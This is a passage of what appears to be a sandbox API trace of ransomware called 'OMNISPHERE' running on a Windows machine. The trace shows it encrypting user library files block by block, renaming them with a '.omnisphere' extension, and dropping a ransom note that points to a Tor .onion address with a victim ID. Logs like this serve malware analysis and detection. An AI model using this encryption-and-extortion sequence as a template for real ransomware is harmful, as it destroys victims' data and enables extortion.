pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.109] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.110] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.110] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0118.110] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x90e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.110] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.111] GetProcessHeap () returned 0x1600000 [0118.111] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c8) returned 0x169f6a8 [0118.111] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\savedpictures.library-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\savedpictures.library-ms.omnisphere")) returned 1 [0118.112] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms.omnisphere.id" [0118.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\savedpictures.library-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.113] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.114] CloseHandle (hObject=0x3c0) returned 1 [0118.114] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.115] CloseHandle (hObject=0x288) returned 1 [0118.115] SetEndOfFile (hFile=0x28c) returned 1 [0118.115] FlushFileBuffers (hFile=0x28c) returned 1 [0118.118] CloseHandle (hObject=0x28c) returned 1 [0118.118] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 1 [0118.118] GetProcessHeap () returned 0x1600000 [0118.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169f978 [0118.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.118] GetProcessHeap () returned 0x1600000 [0118.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693a30 [0118.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693a30, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.118] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.118] GetProcessHeap () returned 0x1600000 [0118.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16870a8 [0118.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16870a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.119] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.119] GetProcessHeap () returned 0x1600000 [0118.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a638 [0118.119] PathCombineW (in: pszDest=0x166a638, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.119] GetProcessHeap () returned 0x1600000 [0118.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169c8d8 [0118.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.119] WriteFile (in: hFile=0x28c, lpBuffer=0x169c8d8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169c8d8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.119] CloseHandle (hObject=0x28c) returned 1 [0118.119] GetProcessHeap () returned 0x1600000 [0118.119] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169f978 | out: hHeap=0x1600000) returned 1 [0118.119] GetProcessHeap () returned 0x1600000 [0118.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1630d30 [0118.119] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.120] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.120] CloseHandle (hObject=0x28c) returned 1 [0118.120] GetProcessHeap () returned 0x1600000 [0118.120] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630d30 | out: hHeap=0x1600000) returned 1 [0118.120] GetProcessHeap () returned 0x1600000 [0118.120] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166a938 | out: hHeap=0x1600000) returned 1 [0118.120] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce2a504f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce2a504f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x80e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Videos.library-ms", cAlternateFileName="VIDEOS~1.LIB")) returned 1 [0118.120] GetProcessHeap () returned 0x1600000 [0118.120] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x1630d30 [0118.120] PathCombineW (in: pszDest=0x1630d30, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="Videos.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0118.120] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0118.120] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.121] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2062) returned 1 [0118.121] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ea, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.121] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.130] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] GetTickCount () returned 0x115d86b [0118.131] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0118.132] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.132] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.132] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.132] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0118.132] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80e, lpName=0x0) returned 0x288 [0118.132] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80e) returned 0x1480000 [0118.132] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0118.133] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0118.133] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.133] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 